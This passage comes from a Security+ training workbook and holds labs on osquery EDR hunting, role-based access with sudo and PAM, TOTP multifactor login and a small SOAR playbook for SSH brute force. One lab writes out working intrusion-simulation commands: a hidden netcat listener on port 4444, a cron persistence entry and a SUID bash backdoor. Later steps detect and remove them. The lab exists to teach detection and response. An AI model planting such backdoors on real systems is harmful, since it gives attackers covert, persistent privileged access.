jq -r '.name' /var/log/osquery/osqueryd.results.log | sort | uniq -c
```

5. Plant a suspicious process and cron persistence Simulate a common Linux intrusion on your own playground: a renamed copy of netcat hidden in /tmp as a fake kernel worker, listening on port 4444, with its binary deleted to frustrate investigators, a cron entry to restart it, and a SUID shell left behind for privilege escalation.

```
cp "$(readlink -f "$(command -v nc)")" /tmp/.kworker-update
nohup /tmp/.kworker-update -lk 4444 </dev/null >/dev/null 2>&1 &
sleep 1; rm -f /tmp/.kworker-update
echo '*/5 * * * * root /tmp/.kworker-update -lk 4444 >/dev/null 2>&1' >
/etc/cron.d/kworker-update
cp /bin/bash /usr/local/bin/.dbus-helper && chmod 4755
/usr/local/bin/.dbus-helper
ss -tlnp | grep 4444
```

6. Hunt for the indicators Test the hypothesis "something is running from a temp path, listening, and persisting" with targeted queries, then compare the SUID list against the baseline from step 3.

```
osqueryi --json "SELECT pid, name, path, cmdline, on_disk FROM processes
WHERE on_disk = 0 OR path LIKE '/tmp/%' OR path LIKE '/dev/shm/%';"
osqueryi --json "SELECT p.pid, p.path, l.port, l.address FROM
listening_ports l JOIN processes p USING (pid) WHERE p.on_disk = 0 OR
p.path LIKE '/tmp/%';"
osqueryi --json "SELECT path, command FROM crontab WHERE command LIKE
'%/tmp/%' OR command LIKE '%/dev/shm/%';"
osqueryi --json "SELECT path, username, permissions FROM suid_bin;" | jq -r
'.[].path' | sort > /root/edr/now-suid.txt
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
jq -r '.[].path' /root/edr/baseline-suid.json | sort | comm -13 -
/root/edr/now-suid.txt
```

7. Read the detections in the osqueryd telemetry The scheduled pack caught the same changes on its own. This JSON stream is what an EDR agent ships to the SIEM (Lab 33) for alerting and correlation.

```
sleep 40

jq -c 'select(.action=="added" and (.name|test("suspicious_processes|
suid_binaries"))) | {time:.calendarTime, query:.name, row:.columns}'
/var/log/osquery/osqueryd.results.log | tail -4

jq -c 'select(.action=="added") | select(.columns|tostring|test("kworker|
4444")) | {query:.name, row:.columns}'
/var/log/osquery/osqueryd.results.log | tail -4
```

8. Respond: preserve evidence, contain, eradicate and confirm Act as the EDR response console would: capture the deleted binary from /proc before killing the process (evidence first), hash it, kill it, remove the persistence and the SUID shell, then confirm the hunt queries come back empty and the telemetry records the removals.

```
PID=$(osqueryi --json "SELECT pid FROM processes WHERE path LIKE
'/tmp/.kworker-update%';" | jq -r '.[0].pid')

echo "Malicious PID: $PID"

cp "/proc/$PID/exe" /root/edr/kworker-update.evidence && chmod 400
/root/edr/kworker-update.evidence

sha256sum /root/edr/kworker-update.evidence | tee /root/edr/evidence.sha256

kill "$PID"

mv /etc/cron.d/kworker-update /root/edr/cron-kworker-update.evidence

mv /usr/local/bin/.dbus-helper /root/edr/dbus-helper.evidence && chmod
000 /root/edr/dbus-helper.evidence

osqueryi --json "SELECT pid, path FROM processes WHERE on_disk = 0 OR path
LIKE '/tmp/%';"

sleep 70

jq -r 'select(.action=="removed") | .name'
/var/log/osquery/osqueryd.results.log | sort | uniq -c
```

Test it

After response the hunt queries return empty, the results log shows an 'added' then a 'removed' event for suspicious_processes, and the evidence file holds a 64-hex SHA-256 of the planted binary.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Note: Full commands, troubleshooting and the challenge task are in labs/lab-37-edr-osquery/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 4.6 — Identity & Access Management

Official objective: Given a scenario, implement and maintain identity and access management.

Identity and access management governs the whole life of an account, from provisioning after identity proofing, through permission assignment and attestation, to de-provisioning when a person leaves.

Single sign-on and federation let one identity work across many systems using LDAP, OAuth and SAML, while interoperability keeps those protocols working together.

Access control models (MAC, DAC, RBAC, rule-based and ABAC) and the principle of least privilege decide who may do what, and when.

Strong authentication combines multiple factors; good password practice and privileged access management tools protect the credentials themselves.

The Identity Lifecycle

- Step 1: Provisioning: create the account from an approved request
- Step 2: Identity proofing: verify the person is who they claim
- Step 3: Permission assignment: grant role-based access, not ad hoc
- Step 4: Attestation: managers periodically recertify the access
- Step 5: De-provisioning: disable on exit to end orphaned accounts

Provisioning, Proofing and Permissions

- Provisioning — Create the account to a standard checklist and issue credentials. Automating it keeps every account consistent and auditable.
- Identity proofing — Verify the person before issuing access, using documents or checks. It matters most for external users you do not already know.
- Permission assignment — Grant access through roles, not one-off rights. The implication of over-granting is privilege creep and a larger blast radius.
- Attestation — A periodic review where owners confirm each entitlement is still needed, so unused access is removed.
- De-provisioning — Disable the credential, strip entitlements and end sessions on exit. Orphaned accounts are a favourite attacker foothold.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

SSO, Federation and the Protocols

- Single sign-on — One authentication grants access to many applications. It improves usability but concentrates risk on that one login.
- Federation — Two organisations trust each other's identities, so users log in with their home identity. Roles: identity provider and service provider.
- SAML — XML-based assertions for federated web SSO, common in enterprise portals. The IdP sends a signed assertion to the service provider.
- OAuth 2.0 — A delegated authorisation framework; it grants an app limited access via tokens. OpenID Connect adds authentication on top of it.
- LDAP — The directory protocol (such as Active Directory) that stores users and groups and answers authentication and lookup queries.
- Interoperability — These protocols must work together; mismatched settings between an IdP and a service provider are a common federation failure.

Access Control Models You Must Know

- DAC — Discretionary: the resource owner sets permissions, as Linux file mode bits and ACLs do.
- MAC — Mandatory: system-wide labels and clearances the user cannot override, as in SELinux and government classification.
- RBAC — Role-based: permissions attach to roles and users inherit them by holding a role. Linux groups approximate this.
- Rule-based — The same rule applies to everyone, such as a firewall ACL or a time-of-day login restriction.
- ABAC — Attribute-based: each request is evaluated on attributes such as department, device posture, time and location.
- Time-of-day — A rule-based restriction that permits access only during defined hours, enforced on Linux by pam_time.
- Least privilege underlies all of them: grant the minimum rights needed, for the shortest time.

Multifactor Authentication Factors

- Something you know — A password, PIN or security question. The weakest factor, because it can be phished, guessed or reused.
- Something you have — A TOTP app, hardware token, smart card or FIDO2 security key. It proves possession of an object.
- Something you are — A biometric such as a fingerprint or face. Judge it by false acceptance, false rejection and crossover error rate.
- Somewhere you are — Location or network context used as an attribute in conditional access, not a standalone factor.
- Implementations — Biometrics, hard and soft authentication tokens, and security keys. Keys bound to an origin are phishing-resistant.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Real MFA — Combine two different categories. A password plus a security question is two steps in one category, not MFA.

Password Best Practices

- Length beats complexity: a long passphrase resists guessing better than short, rule-stuffed passwords.
- Block reuse with password history, and set a minimum age so a user cannot cycle back to an old password.
- Expiration (maximum age) is now discouraged by NIST unless a compromise is suspected; forced rotation drives weak patterns.
- A password manager stores unique strong passwords behind one vault (master) password, which must itself be strong and protected.
- Passwordless methods (passkeys, FIDO2, biometrics) remove the password entirely and resist phishing.

Privileged Access Management

- JIT permissions: Elevated rights granted only for an approved window; They expire automatically when the task is done; No standing admin access to steal or misuse
- Password vaulting: Shared and admin credentials live in a vault; Users check them out; use is logged and audited; Passwords are rotated after each checkout
- Ephemeral creds: Short-lived, single-use credentials or tokens; They cannot be reused once they expire; Common for cloud and service-to-service access

Exam tips

- RBAC grants rights to roles; rule-based applies one rule to everyone (time of day, ACL). Do not confuse the two.
- DAC = owner decides (file permissions); MAC = labels the user cannot change (SELinux, classification).
- SAML = enterprise web SSO (XML assertions); OAuth = delegated authorisation (tokens); OIDC = authentication on OAuth.
- True MFA needs factors from different categories; a password plus a PIN is still only something you know.
- JIT, vaulting and ephemeral credentials all reduce standing privilege, the thing PAM tools exist to remove.

Lab 38 — Identity & Access Management with PAM and sudo

Exam objective: 4.6. Learning outcome: Provision RBAC users, scope sudo, and enforce password policy.

Goal: Provision role-based users, scope sudo per role, add JIT elevation, enforce a pwquality and faillock policy, apply a time-of-day rule, then de-provision a leaver.

What you'll build

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

RBAC roles with scoped sudo, a self-revoking JIT grant, pwquality, pam_faillock, pam_time and an offboarded account. (Tools: sudo, acl, libpam-pwquality, pam_faillock, pam_time, pamtester, chage.)

Step-by-step

1. Install the tools Install ACL support, the pwquality module and its pwscore tester, and pamtester, which lets you exercise a PAM stack from the command line without logging in.

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
sudo acl libpam-pwquality libpwquality-tools pamtester

grep pwquality /etc/pam.d/common-password
```

2. Provision role groups and users Each account is created from a request ticket (recorded in the comment field), placed in exactly one role group and given an initial credential. The loop is idempotent, so re-running it does not fail.

```
for g in webops dbops auditor; do getent group "$g" >/dev/null || groupadd
"$g"; done

while IFS=: read -r u g gecos; do

  id "$u" >/dev/null 2>&1 || useradd -m -s /bin/bash -G "$g" -c "$gecos"
"$u"

  echo "$u:Labs-Pass-2026" | chpasswd

done <<'EOF'

alice:webops:Alice Tan - Web Ops - REQ-1001

bob:dbops:Bob Lim - DB Ops - REQ-1002

carol:auditor:Carol Ng - Audit - REQ-1003

EOF

for u in alice bob carol; do id "$u"; getent passwd "$u" | cut -d: -f5;
done
```

3. Assign file permissions with DAC and ACLs The audit share belongs to the auditor role (DAC via owner/group bits). Bob gets a one-off ACL exception, which works but is exactly how privilege creep starts, so it must be tracked and reviewed.

```
mkdir -p /srv/reports && echo "Q3 audit findings (synthetic data)" >
/srv/reports/q3.txt

chown -R root:auditor /srv/reports && chmod 750 /srv/reports && chmod
640 /srv/reports/q3.txt

setfacl -m u:bob:rx /srv/reports && setfacl -m u:bob:r /srv/reports/q3.txt
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
getfacl -p /srv/reports/q3.txt

su - carol -c 'cat /srv/reports/q3.txt'

su - bob   -c 'cat /srv/reports/q3.txt'

su - alice -c 'cat /srv/reports/q3.txt' || echo "alice DENIED: no role
membership and no ACL"
```

4. Scope sudo per role (RBAC and least privilege) Each role receives only the commands its job requires. Always validate sudoers with visudo -c, because a syntax error can break privilege escalation for everyone.

```
cat > /etc/sudoers.d/10-roles <<'EOF'

# RBAC: each role gets only the commands its job needs (least privilege)

%webops  ALL=(root) NOPASSWD: /usr/bin/systemctl status cron,
/usr/bin/systemctl restart cron

%dbops   ALL=(root) NOPASSWD: /usr/bin/du -sh /var/lib/*

%auditor ALL=(root) NOPASSWD: /usr/bin/last

EOF

chmod 440 /etc/sudoers.d/10-roles && visudo -cf /etc/sudoers.d/10-roles

sudo -l -U alice | tail -3

su - alice -c 'sudo -n systemctl status cron --no-pager | head -3'

su - alice -c 'sudo -n cat /etc/shadow' || echo "alice DENIED: command not
in her role"
```

5. Grant a just-in-time privilege that revokes itself For change CHG-2042, Carol needs to restart cron once. Instead of a standing privilege, grant it for two minutes and schedule its automatic removal. This is the JIT pattern that PAM (privileged access management) tools automate.

```
cat > /etc/sudoers.d/90-jit-carol <<'EOF'

# JIT grant for CHG-2042 - expires automatically after 2 minutes

carol ALL=(root) NOPASSWD: /usr/bin/systemctl restart cron

EOF

chmod 440 /etc/sudoers.d/90-jit-carol && visudo -cf /etc/sudoers.d/90-jit-
carol

systemd-run --unit=jit-revoke-carol --on-active=120 /bin/rm -f
/etc/sudoers.d/90-jit-carol
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
su - carol -c 'sudo -n systemctl restart cron && echo "JIT privilege used
by carol"'

systemctl list-timers --all --no-pager | grep jit-revoke
```

6. Enforce a password policy (length, complexity, reuse, age) pwquality enforces length and character classes when a password changes, pam_pwhistory blocks reuse of the last five passwords, and chage sets maximum age (expiration), minimum age and the warning period.

```
cp -n /etc/security/pwquality.conf /root/pwquality.conf.bak

cat >> /etc/security/pwquality.conf <<'EOF'

# SecPlus lab password standard

minlen = 14

minclass = 3

maxrepeat = 3

dictcheck = 1

usercheck = 1

EOF

grep -q pam_pwhistory /etc/pam.d/common-password || \

  sed -i '/^password.*pam_unix.so/i password required pam_pwhistory.so
remember=5 use_authtok' /etc/pam.d/common-password

grep -E 'pwquality|pwhistory|pam_unix' /etc/pam.d/common-password

for p in 'Summer2026' 'aaaaaaaaaaaaaaa1' 'correct-Horse-battery-staple-9';
do echo "== $p"; echo "$p" | pwscore 2>&1; done

chage -M 365 -m 1 -W 14 alice && chage -l alice
```

7. Lock out repeated failures with pam_faillock Account lockout defeats online brute force. Configure five failures within 15 minutes to lock for 10 minutes, wire pam_faillock around pam_unix, and test it through a dedicated PAM service so the system login stack stays untouched.

```
cat > /etc/security/faillock.conf <<'EOF'

deny = 5

fail_interval = 900

unlock_time = 600

EOF
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
cp -n /etc/pam.d/common-auth /root/common-auth.bak

grep -q pam_faillock /etc/pam.d/common-auth || sed -i \

  -e '/^auth.*pam_unix.so/i auth    requisite
pam_faillock.so preauth' \

  -e '/^auth.*pam_unix.so/a auth    [default=die]
pam_faillock.so authfail' \

  -e '/^auth.*pam_unix.so/a auth    sufficient
pam_faillock.so authsucc' \

  /etc/pam.d/common-auth

grep -q pam_faillock /etc/pam.d/common-account || echo 'account required
pam_faillock.so' >> /etc/pam.d/common-account

printf '@include common-auth\n@include common-account\n' >
/etc/pam.d/labauth

grep -E 'faillock|pam_unix' /etc/pam.d/common-auth

for i in 1 2 3 4 5 6; do echo 'wrong-guess' | pamtester labauth alice
authenticate; done

faillock --user alice

echo 'Labs-Pass-2026' | pamtester labauth alice authenticate || echo "alice
LOCKED OUT even with the right password"

faillock --user alice --reset

echo 'Labs-Pass-2026' | pamtester labauth alice authenticate
```

8. Restrict logins by time of day with pam_time A rule-based control: Alice (web ops) may authenticate on weekdays 08:00 to 19:00 only, and Carol is blocked for this service at all times. In time.conf, Wk means Monday to Friday, Wd means the weekend and Al means every day.

```
cat >> /etc/security/time.conf <<'EOF'

# SecPlus lab rules: services;ttys;users;times

labauth;*;alice;Wk0800-1900

labauth;*;carol;!Al0000-2400

EOF

grep -q pam_time /etc/pam.d/labauth || echo 'account required pam_time.so'
>> /etc/pam.d/labauth

date
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
pamtester labauth alice acct_mgmt || echo "alice is outside her permitted
hours right now"

pamtester labauth carol acct_mgmt || echo "carol DENIED by the time-of-day
rule"
```

9. De-provision a leaver Bob has resigned. Offboarding must disable the credential, expire the account, remove the login shell, strip group and ACL entitlements, end running sessions and preserve the home directory for the records retention period.

```
usermod -L -e 1 -s /usr/sbin/nologin bob

gpasswd -d bob dbops

setfacl -x u:bob /srv/reports/q3.txt && setfacl -x u:bob /srv/reports

pkill -KILL -u bob || true

tar -czf "/root/offboard-bob-$(date +%F).tgz" -C /home bob

passwd -S bob; chage -l bob | grep 'Account expires'; id bob

echo 'Labs-Pass-2026' | pamtester labauth bob authenticate || echo "bob can
no longer authenticate"
```

Test it

90-jit-carol is auto-removed after 2 minutes, roles still work, alice is locked after 5 bad guesses, and bob (the leaver) can no longer authenticate.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-38-iam-pam-sudo/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 39 — Multifactor Authentication with TOTP

Exam objective: 4.6. Learning outcome: Enrol TOTP and enforce two factors through PAM and SSH.

Goal: Enrol a user in TOTP, build a password-plus-code PAM service, prove one factor is not enough, test replay protection and backup codes, then enforce MFA for SSH.

What you'll build

A TOTP-enrolled account, a two-factor PAM service, and an SSH Match block demanding keyboard-interactive MFA. (Tools: libpam-google-authenticator, oathtool, qrencode, pamtester, openssh-server.)

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Step-by-step

1. Install the tools The Google Authenticator PAM module is open source and works with any TOTP app. oathtool computes codes the same way a phone app does, so you can test without a phone.

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
libpam-google-authenticator oathtool qrencode pamtester openssh-server
```

2. Create a user and enrol a TOTP secret Run the enrolment as the user so the secret file is owned by them and readable only by them. The flags select time-based codes (-t), disallow code reuse (-d), rate-limit to 10 attempts per 30 seconds, accept one step of clock skew either side (-w 3) and create five backup codes.

```
id mfauser >/dev/null 2>&1 || useradd -m -s /bin/bash mfauser

echo 'mfauser:Labs-Pass-2026' | chpasswd

sudo -u mfauser google-authenticator -t -d -f -r 10 -R 30 -w 3 -e 5 -q
-s /home/mfauser/.google_authenticator

ls -l /home/mfauser/.google_authenticator
```

3. Inspect the shared secret and the provisioning QR code The first line is the Base32 shared secret; the quoted lines are options; the 8-digit lines are backup codes. The QR code simply encodes an otpauth:// URI, which is why a photo of an enrolment QR code is as sensitive as the secret itself.

```
SECRET=$(head -1 /home/mfauser/.google_authenticator)

echo "Shared secret (Base32): $SECRET"

grep '^"' /home/mfauser/.google_authenticator

URI="otpauth://totp/SecPlus-Lab:mfauser?secret=${SECRET}&issuer=SecPlus-
Lab&digits=6&period=30"

echo "$URI"

qrencode -t ANSIUTF8 "$URI"
```

4. Generate codes like an authenticator app (TOTP versus HOTP) Both sides hold the same secret and compute HMAC-SHA1 over a moving factor. For TOTP the factor is the current 30-second time step; for HOTP it is a counter.

```
SECRET=$(head -1 /home/mfauser/.google_authenticator)

oathtool --totp -b "$SECRET"

oathtool --totp -b -w 2 "$SECRET"

oathtool --hotp -b -c 0 -w 2 "$SECRET"

date -u +%s | awk '{print "Seconds left in this time step:", 30 - ($1 %
30)}'
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

5. Build a two-factor PAM service The forward_pass option asks one prompt: type the password immediately followed by the six-digit code. The module checks the code, then passes the password to pam_unix, so both factors must be correct.

```
cat > /etc/pam.d/mfa-lab <<'EOF'

# Factor 1 (know) + factor 2 (have): password immediately followed by the
6-digit TOTP code

auth    required    pam_google_authenticator.so forward_pass

auth    required    pam_unix.so use_first_pass

account required    pam_unix.so

EOF

cat /etc/pam.d/mfa-lab
```

6. Prove that one factor is not enough A stolen password alone fails, and so does the right password with a guessed code.

```
echo 'Labs-Pass-2026' | pamtester mfa-lab mfauser authenticate || echo
"REJECTED: password only"

echo 'Labs-Pass-2026000000' | pamtester mfa-lab mfauser authenticate ||
echo "REJECTED: password + wrong code"
```

7. Log in with both factors, then test replay protection and a backup code The correct password plus the current code succeeds. Replaying the same code a second later is refused because of -d, which defeats an attacker who shoulder-surfs or relays a code. A backup code works exactly once.

```
SECRET=$(head -1 /home/mfauser/.google_authenticator)

CODE=$(oathtool --totp -b "$SECRET")

echo "Labs-Pass-2026${CODE}" | pamtester mfa-lab mfauser authenticate &&
echo "ACCEPTED: password + current code"

echo "Labs-Pass-2026${CODE}" | pamtester mfa-lab mfauser authenticate ||
echo "REJECTED: replay of a used code"

SCRATCH=$(grep -E '^[0-9]{8}$' /home/mfauser/.google_authenticator | head
-1)

echo "Labs-Pass-2026${SCRATCH}" | pamtester mfa-lab mfauser authenticate &&
echo "ACCEPTED: backup code (now burned)"

grep -cE '^[0-9]{8}$' /home/mfauser/.google_authenticator
```

8. Enforce MFA for SSH logins Apply the same module to SSH for this user only. nullok lets users who have not enrolled keep logging in during roll-out, which is a deliberate (and temporary) exception to document.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
cp -n /etc/pam.d/sshd /root/sshd.pam.bak

grep -q pam_google_authenticator /etc/pam.d/sshd || echo 'auth required
pam_google_authenticator.so nullok' >> /etc/pam.d/sshd

echo 'KbdInteractiveAuthentication yes' > /etc/ssh/sshd_config.d/60-
mfa.conf

grep -q 'Match User mfauser' /etc/ssh/sshd_config || printf '\nMatch User
mfauser\n    AuthenticationMethods keyboard-interactive\n' >>
/etc/ssh/sshd_config

sshd -t && systemctl restart ssh && echo "sshd config valid and reloaded"
```

Test it

Password alone is rejected, password plus the current code is accepted, a replayed code is refused, and sshd -T shows keyboard-interactive for mfauser.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-39-mfa-totp/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 4.7 — Automation & Orchestration

Official objective: Explain the importance of automation and orchestration related to secure operations.

Automation runs a single task without human effort; orchestration chains many automated tasks and systems into a workflow.

Common security use cases include user and resource provisioning, guard rails, security groups, ticket creation, escalation, enabling or disabling access, and continuous integration and testing.

The benefits are speed, consistency, enforced baselines, secure scaling and freeing analysts from toil; automation is a workforce multiplier.

The trade-offs are complexity, cost, a single point of failure, technical debt and the burden of ongoing support.

Obj 4.7 · Why It Matters

- Machines do the repetitive work at machine speed Automation performs one task reliably; orchestration chains many tasks across tools into a workflow. Together they cut reaction time and remove human error from routine work.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Use Cases of Automation and Scripting

- User provisioning — Create, group and disable accounts straight from an HR feed, so every account is consistent and leavers are closed on time.
- Resource provisioning — Stand up servers, storage and networks from code, with the secure baseline already applied.
- Guard rails — Automated limits that stop an unsafe action, such as refusing to block the management network or open a public bucket.
- Security groups — Apply the same firewall or cloud access rules to many resources at once, consistently.
- Ticketing and escalation — Open a ticket automatically on an alert and escalate or page a human when thresholds are crossed.
- Enable/disable access — Turn services and access on or off on a schedule or in response to an event, such as JIT elevation.

Pipelines and Integrations

- CI and testing — Every change is built, scanned and tested automatically before it ships, so flaws are caught early.
- Integrations and APIs — Tools talk to each other through APIs, which is what lets one alert drive actions across many systems.
- Playbooks (SOAR) — A playbook is a machine-executable version of the runbook an analyst would follow by hand.
- Infrastructure as code — Configuration lives in version control, so changes are reviewed, repeatable and easy to roll back.

The Detect, Decide, Act, Record Loop

- Step 1: Detect: an alert or webhook triggers the playbook
- Step 2: Enrich: add threat intel, asset owner and user context
- Step 3: Decide: apply logic and pause for approval if high impact
- Step 4: Act: contain, block, disable or open a ticket automatically
- Step 5: Record: log every step to the case for audit and review

Benefits of Automation

- Efficiency and reaction time — Routine responses happen in seconds, which cuts attacker dwell time and the blast radius of an incident.
- Enforcing baselines — Every system is built from the same standard configuration, so drift and one-off mistakes disappear.
- Secure scaling — The same controls apply whether you run ten hosts or ten thousand, without more staff.
- Workforce multiplier — Analysts stop doing repetitive toil and focus on real analysis, which also improves employee retention.

Other Considerations (the Trade-offs)

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Complexity — A big automation estate is hard to understand, test and troubleshoot when something goes wrong.
- Cost — Orchestration platforms are licensed separately and are not cheap; add the cost of building and maintaining playbooks.
- Single point of failure — If one platform automates everything, its outage or compromise stops or endangers everything at once.
- Technical debt — Quick scripts nobody maintains rot over time and break silently when the environment changes.
- Ongoing supportability — Someone must own, patch, test and update the automation for its whole life, not just build it once.

Exam tips

- Automation = one task; orchestration = many tasks and tools chained into a workflow.
- SIEM detects and alerts; SOAR orchestrates the response (block, disable, ticket). 'Automatically open a ticket' points to SOAR.
- Benefits: efficiency, reaction time, enforced baselines, secure scaling, workforce multiplier.
- Drawbacks: complexity, cost, single point of failure, technical debt, ongoing supportability.
- Guard rails prevent unsafe automated actions; security groups apply consistent access to many resources.

Lab 40 — Automation and Orchestration with a Mini-SOAR Playbook

Exam objective: 4.7. Learning outcome: Automate provisioning and an SSH brute-force response playbook.

Goal: Automate user provisioning from an HR feed, then build a detect-decide-act-record playbook with guard rails that blocks an attacker, opens a ticket and escalates through a mock API, tested CI-style.

What you'll build

provision.sh, soar.sh, a mock ticketing/paging API, a systemd service running the playbook, and a documented rollback. (Tools: jq, shellcheck, iptables, curl, python3, systemd, logger.)

Step-by-step

1. Install the tools jq builds JSON tickets, shellcheck is the linter for the CI step, and Python provides a mock REST API that stands in for a ticketing or paging platform.

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y jq
shellcheck iptables curl python3

mkdir -p /etc/soar /var/soar/tickets
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

2. Automate user provisioning from an HR feed HR is the source of truth. The script creates accounts for active staff, puts them in a department security group and disables leavers. It is idempotent, so running it twice changes nothing the second time, which is what makes automation safe to schedule.

```
cat > /etc/soar/hr_feed.csv <<'EOF'

username,department,status

dtan,finance,active

mlim,engineering,active

rkumar,engineering,leaver

EOF

id rkumar >/dev/null 2>&1 || useradd -m rkumar

cat > /usr/local/bin/provision.sh <<'EOF'

#!/usr/bin/env bash

# provision.sh - create active staff, add to department security group,
disable leavers

set -euo pipefail

FEED="${1:-/etc/soar/hr_feed.csv}"

while IFS=, read -r user dept status; do

  [ "$user" = "username" ] && continue

  getent group "sg-$dept" >/dev/null || groupadd "sg-$dept"

  if [ "$status" = "active" ]; then

    if id "$user" >/dev/null 2>&1; then echo "OK $user already provisioned"

    else useradd -m -G "sg-$dept" -c "dept=$dept" "$user"; echo
"PROVISIONED $user -> sg-$dept"; fi

  elif id "$user" >/dev/null 2>&1; then

    usermod -L -e 1 "$user"; echo "DISABLED $user (leaver)"

  fi

done < "$FEED"

EOF

chmod +x /usr/local/bin/provision.sh

provision.sh
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
provision.sh

getent group sg-finance sg-engineering; passwd -S rkumar
```

3. Start a mock ticketing and paging API Real playbooks call ServiceNow, Jira, Slack or PagerDuty through REST APIs. This small listener accepts JSON on http://127.0.0.1:8088/hook and records every escalation it receives.

```
cat > /usr/local/bin/mock-api.py <<'EOF'

import datetime, json

from http.server import BaseHTTPRequestHandler, HTTPServer

class Hook(BaseHTTPRequestHandler):

    def do_POST(self):

        body = self.rfile.read(int(self.headers.get("Content-Length",
0))).decode()

        with open("/var/soar/escalations.log", "a") as f:


f.write(datetime.datetime.now(datetime.timezone.utc).isoformat() + " " +
body + "\n")

        self.send_response(201)

        self.send_header("Content-Type", "application/json")

        self.end_headers()

        self.wfile.write(json.dumps({"status": "on-call paged"}).encode())

    def log_message(self, *args):

        pass

HTTPServer(("127.0.0.1", 8088), Hook).serve_forever()

EOF

nohup python3 /usr/local/bin/mock-api.py >/dev/null 2>&1 &

sleep 1

curl -s -X POST -H 'Content-Type: application/json' -d '{"test":"ping"}'
http://127.0.0.1:8088/hook; echo
```

4. Write the playbook with guard rails The playbook reads log lines on standard input, so the same code runs against a test file in CI and against the live journal in production. Guard rails: an allow list of addresses that must never be blocked, a threshold, and a DRY_RUN mode.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
printf '127.0.0.1\n10.0.0.5\n' > /etc/soar/allowlist

cat > /usr/local/bin/soar.sh <<'EOF'

#!/usr/bin/env bash

# soar.sh - mini SOAR playbook: SSH brute force -> block -> ticket ->
escalate

set -u

THRESHOLD="${THRESHOLD:-5}"

DRY_RUN="${DRY_RUN:-0}"

ALLOWLIST="${ALLOWLIST:-/etc/soar/allowlist}"

TICKETS="${TICKETS:-/var/soar/tickets}"

API="${API:-http://127.0.0.1:8088/hook}"

mkdir -p "$TICKETS"

declare -A count

while IFS= read -r line; do

  case "$line" in

    *"Failed password"*|*"Invalid user"*) ;;

    *) continue ;;

  esac

  ip=$(grep -oE 'from [0-9]{1,3}(\.[0-9]{1,3}){3}' <<<"$line" | awk '{print
$2}')

  [ -n "$ip" ] || continue

  count[$ip]=$(( ${count[$ip]:-0} + 1 ))

  [ "${count[$ip]}" -eq "$THRESHOLD" ] || continue

  if grep -qxF "$ip" "$ALLOWLIST" 2>/dev/null; then

    sev="low"; action="alert-only (guard rail: allowlisted)"

  else

    sev="high"; action="blocked"

    if [ "$DRY_RUN" = "1" ]; then

      action="would-block (dry run)"
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
    else
      iptables -C INPUT -s "$ip" -j DROP 2>/dev/null || iptables -I INPUT
-s "$ip" -j DROP
    fi
  fi
  id="INC-$(date +%Y%m%d%H%M%S)-${ip//./-}"
  jq -n --arg id "$id" --arg ip "$ip" --arg sev "$sev" --arg act "$action"
--argjson n "${count[$ip]}" \
    '{id:$id, type:"ssh-brute-force", source_ip:$ip, failures:$n, severity:
$sev, action:$act, ts:(now|todate)}' \
    > "$TICKETS/$id.json"
  logger -t soar "ticket=$id ip=$ip severity=$sev action=$action"
  if [ "$sev" = "high" ] && [ "$DRY_RUN" != "1" ]; then
    curl -s -m 3 -X POST -H 'Content-Type: application/json' -d
@"$TICKETS/$id.json" "$API" >/dev/null \
      || logger -t soar "escalation API unreachable for $id"
  fi
  echo "$id $ip severity=$sev action=$action"
done
EOF
chmod +x /usr/local/bin/soar.sh
```

5. Test the playbook the CI way before it touches production Continuous integration runs the same checks on every change: syntax, lint, then a dry run against known test data with an expected result. A playbook that has not been tested will fail at machine speed.

```
bash -n /usr/local/bin/soar.sh && echo "syntax OK"
shellcheck -S warning /usr/local/bin/soar.sh /usr/local/bin/provision.sh &&
echo "lint OK"
{ for i in 1 2 3 4 5; do echo "sshd[1]: Failed password for root from
198.51.100.9 port 4$i ssh2"; done
  for i in 1 2 3 4 5; do echo "sshd[1]: Failed password for admin from
127.0.0.1 port 5$i ssh2"; done; } > /tmp/ci-sample.log
```


